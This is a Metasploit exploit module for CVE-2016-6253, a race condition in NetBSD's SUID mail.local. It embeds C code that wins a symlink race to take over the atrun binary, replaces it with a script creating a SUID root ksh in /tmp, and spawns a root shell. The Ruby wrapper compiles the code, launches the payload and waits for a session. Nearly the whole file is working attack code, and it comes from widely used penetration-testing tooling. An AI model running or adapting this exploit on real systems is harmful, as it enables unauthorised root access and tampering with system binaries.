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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
5

6
class MetasploitModule < Msf::Exploit::Local
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  Rank = GreatRanking
8

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  include Msf::Post::File
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'NetBSD mail.local Privilege Escalation',
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        'Description' => %q{
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          This module attempts to exploit a race condition in mail.local with SUID bit set on:
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          NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
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          NetBSD 6.1 - 6.1.5
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          NetBSD 6.0 - 6.0.6
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          Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die <[email protected]>', # Module
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          'akat1' # Discovery
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        ],
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        'DisclosureDate' => '2016-07-07',
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'SessionTypes' => %w[shell meterpreter],
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        'Privileged' => true,
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        'Payload' => {
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          'Compat' => {
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            'PayloadType' => 'cmd',
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            'RequiredCmd' => 'generic openssl'
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          }
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        },
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        'Targets' => [
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          [ 'Automatic Target', {}]
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => { 'WfsDelay' => 603 }, # can take 10min for cron to kick
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        'References' => [
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          [ 'URL', 'http://akat1.pl/?id=2'],
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          [ 'EDB', '40141'],
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          [ 'CVE', '2016-6253'],
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          [ 'URL', 'http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc']
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        ],
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [OS_RESOURCE_LOSS],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        }
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      )
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    )
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    register_options([
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      OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
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      OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
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      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
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      OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
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    ])
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  end
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  def exploit
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    # lots of this file's format is based on pkexec.rb
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    # direct copy of code from exploit-db
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    main = %q{
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  // Source: http://akat1.pl/?id=2
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  #include <stdio.h>
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  #include <unistd.h>
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  #include <fcntl.h>
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  #include <signal.h>
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  #include <stdlib.h>
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  #include <string.h>
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  #include <err.h>
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  #include <sys/wait.h>
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  #define ATRUNPATH "/usr/libexec/atrun"
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  #define MAILDIR "/var/mail"
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  static int
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  overwrite_atrun(void)
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  {
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    char *script = "#! /bin/sh\n"
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    "cp /bin/ksh /tmp/ksh\n"
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    "chmod +s /tmp/ksh\n";
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    size_t size;
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    FILE *fh;
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    int rv = 0;
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    fh = fopen(ATRUNPATH, "wb");
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    if (fh == NULL) {
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      rv = -1;
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      goto out;
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    }
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    size = strlen(script);
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    if (size != fwrite(script, 1, strlen(script), fh)) {
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      rv =  -1;
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      goto out;
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    }
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  out:
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    if (fh != NULL && fclose(fh) != 0)
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      rv = -1;
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      return rv;
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  }
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  static int
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  copy_file(const char *from, const char *dest, int create)
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  {
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    char buf[1024];
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    FILE *in = NULL, *out = NULL;
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    size_t size;
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    int rv = 0, fd;
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    in = fopen(from, "rb");
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    if (create == 0)
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      out = fopen(dest, "wb");
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    else {
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      fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
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      if (fd == -1) {
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        rv = -1;
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        goto out;
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      }
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      out = fdopen(fd, "wb");
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    }
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    if (in == NULL || out == NULL) {
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      rv = -1;
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      goto out;
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    }
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    while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
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      if (fwrite(&buf, 1, size, in) != 0) {
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        rv = -1;
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        goto out;
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      }
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    }
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  out:
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    if (in != NULL && fclose(in) != 0)
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      rv = -1;
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    if (out != NULL && fclose(out) != 0)
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      rv = -1;
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    return rv;
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  }
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  int
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  main()
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  {
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    pid_t pid;
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    uid_t uid;
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    struct stat sb;
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    char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
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    umask(0077);
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    login = getlogin();
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168
    if (login == NULL)
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      err(EXIT_FAILURE, "who are you?");
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      uid = getuid();
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      asprintf(&mailbox, MAILDIR "/%s", login);
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175
      if (mailbox == NULL)
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        err(EXIT_FAILURE, NULL);
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178
      if (access(mailbox, F_OK) != -1) {
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        /* backup mailbox */
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        asprintf(&mailbox_backup, "/tmp/%s", login);
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        if (mailbox_backup == NULL)
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          err(EXIT_FAILURE, NULL);
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      }
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      if (mailbox_backup != NULL) {
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        fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
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          if (copy_file(mailbox, mailbox_backup, 1))
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            err(EXIT_FAILURE, "[-] failed");
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      }
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      /* backup atrun(1) */
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      atrun_backup = strdup("/tmp/atrun");
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      if (atrun_backup == NULL)
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        err(EXIT_FAILURE, NULL);
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      fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
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198
      if (copy_file(ATRUNPATH, atrun_backup, 1))
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        err(EXIT_FAILURE, "[-] failed");
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      /* win the race */
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      fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
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      switch (pid = fork()) {
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      case -1:
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        err(EXIT_FAILURE, NULL);
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        /* NOTREACHED */
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      case 0:
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        asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
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          "2> /dev/null", login);
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212
        for(;;)
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          system(buf);
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        /* NOTREACHED */
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      default:
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        umask(0022);
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        for(;;) {
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          int fd;
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          unlink(mailbox);
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          symlink(ATRUNPATH, mailbox);
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          sync();
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          unlink(mailbox);
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          fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
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          close(fd);
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          sync();
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          if (lstat(ATRUNPATH, &sb) == 0) {
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            if (sb.st_uid == uid) {
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              kill(pid, 9);
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              fprintf(stderr, "[+] won race!\n");
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              break;
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            }
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          }
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        }
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        break;
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      }
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      (void)waitpid(pid, NULL, 0);
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      if (mailbox_backup != NULL) {
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        /* restore mailbox */
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        fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
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243
        if (copy_file(mailbox_backup, mailbox, 0))
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          err(EXIT_FAILURE, "[-] failed");
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        if (unlink(mailbox_backup) != 0)
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          err(EXIT_FAILURE, "[-] failed");
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      }
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      /* overwrite atrun */
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      fprintf(stderr, "[+] overwriting atrun(1)\n");
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252
      if (chmod(ATRUNPATH, 0755) != 0)
253
        err(EXIT_FAILURE, NULL);
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255
      if (overwrite_atrun())
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        err(EXIT_FAILURE, NULL);
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258
      fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
259

260
      for(;;sleep(1)) {
261
        if (access("/tmp/ksh", F_OK) != -1)
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          break;
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      }
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      /* restore atrun */
266
      fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
267

268
      if (copy_file(atrun_backup, ATRUNPATH, 0))
269
        err(EXIT_FAILURE, "[-] failed");
270
      if (unlink(atrun_backup) != 0)
271
        err(EXIT_FAILURE, "[-] failed");
272

273
      if (chmod(ATRUNPATH, 0555) != 0)
274
        err(EXIT_FAILURE, NULL);
275

276
      fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
277
        "ownership.\n");
278
      fprintf(stderr, "Enjoy your shell:\n");
279

280
      execl("/tmp/ksh", "ksh", NULL);
281

282
      return 0;
283
  }
284
}
285
    # patch in our variable maildir and atrunpath
286
    main.gsub!(%r{#define ATRUNPATH "/usr/libexec/atrun"},
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               "#define ATRUNPATH \"#{datastore['ATRUNPATH']}\"")
288
    main.gsub!(%r{#define MAILDIR "/var/mail"},
289
               "#define MAILDIR \"#{datastore['MAILDIR']}\"")
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291
    executable_path = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"
292
    payload_file = rand_text_alpha(8).to_s
293
    payload_path = "#{datastore['WritableDir']}/#{payload_file}"
294
    vprint_status("Writing Payload to #{payload_path}")
295
    # patch in to run our payload as part of ksh
296
    main.gsub!(%r{execl\("/tmp/ksh", "ksh", NULL\);},
297
               "execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
298

299
    write_file(payload_path, payload.encoded)
300
    cmd_exec("chmod 555 #{payload_path}")
301
    register_file_for_cleanup(payload_path)
302

303
    print_status "Writing exploit to #{executable_path}.c"
304

305
    # clean previous bad attempts to prevent c code from exiting
306
    rm_f executable_path
307
    rm_f '/tmp/atrun'
308
    whoami = cmd_exec('whoami')
309
    rm_f "/tmp/#{whoami}"
310

311
    write_file("#{executable_path}.c", main)
312
    print_status("Compiling #{executable_path}.c via gcc")
313
    output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
314
    output.each_line { |line| vprint_status(line.chomp) }
315

316
    print_status('Starting the payload handler...')
317
    handler({})
318

319
    print_status("Executing at #{Time.now}.  May take up to 10min for callback")
320
    output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
321
    output.each_line { |line| vprint_status(line.chomp) }
322

323
    # our sleep timer
324
    stime = Time.now.to_f
325
    Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
326
    print_status(Time.now.to_s)
327
    register_file_for_cleanup(executable_path)
328
    register_file_for_cleanup("#{executable_path}.out")
329
    print_status("Remember to run: chown root:wheel #{datastore['ATRUNPATH']}")
330
  end
331
end
332

333